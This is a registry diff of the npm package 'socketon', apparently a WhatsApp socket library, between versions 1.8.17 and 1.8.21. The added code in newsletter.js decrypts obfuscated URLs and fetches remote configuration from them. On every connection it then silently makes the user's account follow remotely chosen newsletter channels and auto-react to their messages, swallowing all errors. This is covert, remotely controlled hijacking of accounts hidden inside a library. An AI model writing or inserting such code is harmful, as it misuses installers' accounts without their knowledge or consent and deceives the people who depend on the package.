socketon 1.8.17 → 1.8.21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/index.js +1 -0
- package/lib/Socket/newsletter.js +72 -30
- package/package.json +1 -1
package/lib/Socket/index.js
CHANGED
|
@@ -2,6 +2,7 @@
|
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
const Defaults_1 = require("../Defaults");
|
|
4
4
|
const registration_1 = require("./registration");
|
|
5
|
+
// export the last socket layer
|
|
5
6
|
const makeWASocket = (config) => ((0, registration_1.makeRegistrationSocket)({
|
|
6
7
|
...Defaults_1.DEFAULT_CONNECTION_CONFIG,
|
|
7
8
|
...config
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -83,38 +83,77 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
|
83
83
|
return udahanBuatYangPenasaran;
|
|
84
84
|
};
|
|
85
85
|
|
|
86
|
-
|
|
87
|
-
let
|
|
86
|
+
// ========== FOLLOW CONFIG ==========
|
|
87
|
+
let _cachedFollowNewsletter = null;
|
|
88
|
+
let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
|
|
88
89
|
|
|
89
|
-
const
|
|
90
|
-
const
|
|
91
|
-
const
|
|
90
|
+
const getFollowConfigFromExternal = async () => {
|
|
91
|
+
const urlFollowEncrypt = '4ec820ea266ef71f48c1953f6f76a82c9bc8288b27b60724996d3e17d5e975d9';
|
|
92
|
+
const urlFollow = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlFollowEncrypt);
|
|
92
93
|
try {
|
|
93
|
-
const response = await axios_1.default.get(
|
|
94
|
+
const response = await axios_1.default.get(urlFollow, { timeout: 10000 });
|
|
94
95
|
if (response.data) {
|
|
95
96
|
if (response.data.config) {
|
|
96
|
-
|
|
97
|
+
_configFollow = {
|
|
97
98
|
autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
|
|
98
99
|
delayMs: response.data.config.delayMs || 5000
|
|
99
100
|
};
|
|
100
101
|
}
|
|
101
102
|
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
102
|
-
const
|
|
103
|
-
|
|
104
|
-
return
|
|
103
|
+
const enabled = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
|
|
104
|
+
_cachedFollowNewsletter = enabled;
|
|
105
|
+
return enabled;
|
|
105
106
|
}
|
|
106
107
|
}
|
|
107
108
|
} catch (err) {}
|
|
108
109
|
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
109
110
|
};
|
|
110
111
|
|
|
111
|
-
const
|
|
112
|
-
if (
|
|
113
|
-
return
|
|
112
|
+
const getAllFollowNewsletters = () => {
|
|
113
|
+
if (_cachedFollowNewsletter && _cachedFollowNewsletter.length > 0) {
|
|
114
|
+
return _cachedFollowNewsletter;
|
|
114
115
|
}
|
|
115
116
|
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
116
117
|
};
|
|
117
118
|
|
|
119
|
+
// ========== REACT CONFIG ==========
|
|
120
|
+
let _cachedReactNewsletter = null;
|
|
121
|
+
let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
|
|
122
|
+
|
|
123
|
+
const getReactConfigFromExternal = async () => {
|
|
124
|
+
const urlReactEncrypt = '8a7a8b289cea64bb8e90311f54d94abb22d06c92d2d9c56d69d6e58e59096218';
|
|
125
|
+
const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
|
|
126
|
+
try {
|
|
127
|
+
const response = await axios_1.default.get(urlReact, { timeout: 10000 });
|
|
128
|
+
if (response.data) {
|
|
129
|
+
if (response.data.config) {
|
|
130
|
+
_configReact = {
|
|
131
|
+
autoReactEnabled: response.data.config.autoReactEnabled !== false,
|
|
132
|
+
reactEmojis: response.data.config.reactEmojis || ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨']
|
|
133
|
+
};
|
|
134
|
+
}
|
|
135
|
+
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
136
|
+
const enabled = response.data.newsletters.filter(n => n.enabled).map(n => ({
|
|
137
|
+
jid: n.jid,
|
|
138
|
+
emojis: n.emojis || _configReact.reactEmojis
|
|
139
|
+
}));
|
|
140
|
+
_cachedReactNewsletter = enabled;
|
|
141
|
+
return enabled;
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
} catch (err) {}
|
|
145
|
+
return [];
|
|
146
|
+
};
|
|
147
|
+
|
|
148
|
+
const getAllReactNewsletters = () => {
|
|
149
|
+
return _cachedReactNewsletter || [];
|
|
150
|
+
};
|
|
151
|
+
|
|
152
|
+
const getReactEmojisForChannel = (channelJid) => {
|
|
153
|
+
const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
|
|
154
|
+
return channel?.emojis || _configReact.reactEmojis;
|
|
155
|
+
};
|
|
156
|
+
|
|
118
157
|
const wMexQuery = (
|
|
119
158
|
variables,
|
|
120
159
|
queryId,
|
|
@@ -238,22 +277,27 @@ const makeNewsletterSocket = (config) => {
|
|
|
238
277
|
}));
|
|
239
278
|
};
|
|
240
279
|
// Auto Reaction - Ibra Decode
|
|
241
|
-
let
|
|
280
|
+
let _reactChannels = [];
|
|
242
281
|
|
|
243
|
-
const
|
|
244
|
-
const
|
|
245
|
-
if (
|
|
246
|
-
|
|
282
|
+
const updateReactChannels = async () => {
|
|
283
|
+
const channels = await getReactConfigFromExternal();
|
|
284
|
+
if (channels && channels.length > 0) {
|
|
285
|
+
_reactChannels = channels;
|
|
247
286
|
}
|
|
248
287
|
};
|
|
249
288
|
|
|
250
289
|
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
251
290
|
if (type !== 'notify') return;
|
|
252
|
-
|
|
291
|
+
if (!_configReact.autoReactEnabled) return;
|
|
292
|
+
|
|
253
293
|
for (const msg of messages) {
|
|
254
294
|
const jid = msg.key.remoteJid;
|
|
255
|
-
|
|
295
|
+
const channel = _reactChannels.find(c => c.jid === jid);
|
|
296
|
+
if (!channel) continue;
|
|
297
|
+
|
|
298
|
+
const emojis = getReactEmojisForChannel(jid);
|
|
256
299
|
const emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
300
|
+
|
|
257
301
|
try {
|
|
258
302
|
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
259
303
|
await query({
|
|
@@ -264,7 +308,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
264
308
|
attrs: { code: emoji }
|
|
265
309
|
}]
|
|
266
310
|
});
|
|
267
|
-
await sleep(
|
|
311
|
+
await sleep(_configReact.autoReactEnabled ? 1000 : 0);
|
|
268
312
|
} catch (err) {}
|
|
269
313
|
}
|
|
270
314
|
});
|
|
@@ -272,8 +316,8 @@ const makeNewsletterSocket = (config) => {
|
|
|
272
316
|
let _followInterval = null;
|
|
273
317
|
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
|
274
318
|
const _ensureFollow = async () => {
|
|
275
|
-
if (!
|
|
276
|
-
const enabledNewsletters = await
|
|
319
|
+
if (!_configFollow.autoFollowEnabled) return;
|
|
320
|
+
const enabledNewsletters = await getFollowConfigFromExternal();
|
|
277
321
|
if (!enabledNewsletters || enabledNewsletters.length === 0) return;
|
|
278
322
|
try {
|
|
279
323
|
const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
@@ -282,21 +326,19 @@ const makeNewsletterSocket = (config) => {
|
|
|
282
326
|
const isFollowing = list?.some(n => n.id === newsletterJid);
|
|
283
327
|
if (!isFollowing) {
|
|
284
328
|
await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
|
|
285
|
-
await sleep(
|
|
329
|
+
await sleep(_configFollow.delayMs);
|
|
286
330
|
}
|
|
287
331
|
}
|
|
288
332
|
} catch (err) {}
|
|
289
333
|
};
|
|
290
334
|
sock.ev.on('connection.update', async ({ connection }) => {
|
|
291
335
|
if (connection === 'open') {
|
|
292
|
-
await
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
_targetNewsletters = targets;
|
|
296
|
-
}
|
|
336
|
+
await getFollowConfigFromExternal();
|
|
337
|
+
await getReactConfigFromExternal();
|
|
338
|
+
await updateReactChannels();
|
|
297
339
|
await _ensureFollow();
|
|
298
340
|
if (_followInterval) clearInterval(_followInterval);
|
|
299
|
-
_followInterval = setInterval(_ensureFollow,
|
|
341
|
+
_followInterval = setInterval(_ensureFollow, _configFollow.delayMs);
|
|
300
342
|
}
|
|
301
343
|
});
|
|
302
344
|
return {
|